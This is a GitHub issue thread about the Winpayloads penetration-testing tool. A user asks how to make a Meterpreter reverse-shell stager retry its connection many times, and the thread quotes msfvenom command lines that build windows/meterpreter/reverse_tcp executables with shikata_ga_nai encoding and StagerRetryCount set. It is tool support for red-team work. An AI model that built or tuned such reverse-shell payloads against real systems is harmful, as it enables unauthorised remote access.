Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

StagerRetryCount help #77

Open
ghost opened this issue Mar 3, 2020 · 5 comments
Open

StagerRetryCount help #77

ghost opened this issue Mar 3, 2020 · 5 comments

Comments

@ghost
Copy link

ghost commented Mar 3, 2020

Hello how can i set StagerRetryCount on payload?

@Charliedean
Copy link
Contributor

You can set it in the following file:
https://github.com/nccgroup/Winpayloads/blob/master/lib/startmetasploit.py

Add it to the correct payload that you are trying to use. EG reverse https = methttps_normal, so change the os command and add it after a semicolon

@ghost
Copy link
Author

ghost commented Mar 3, 2020

You can set it in the following file:
https://github.com/nccgroup/Winpayloads/blob/master/lib/startmetasploit.py

Add it to the correct payload that you are trying to use. EG reverse https = methttps_normal, so change the os command and add it after a semicolon

thank you but i was meaning it to the generating payload for example in msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp - platform windows-a x86 -f exe -o something LPORT= PORT LHOST= HOST StagerRetryCount=999999 <---- this means it will be requesting 999999 times until i type exploit in msfconsole

@Charliedean
Copy link
Contributor

p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

Try changing it here

@ghost
Copy link
Author

ghost commented Mar 3, 2020

p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

Try changing it here

= subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai', 'StagerRetryCount=99999',], bufsize=1024,

now it shows it cant execute script but when rewrited 'StagerRetryCount=99999' to 'StagerRetryCount=' + 99999 then it requests only 3 times

@Charliedean
Copy link
Contributor

p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), 'StagerRetryCount=20', '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

This should work. If not please post the stack trace

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant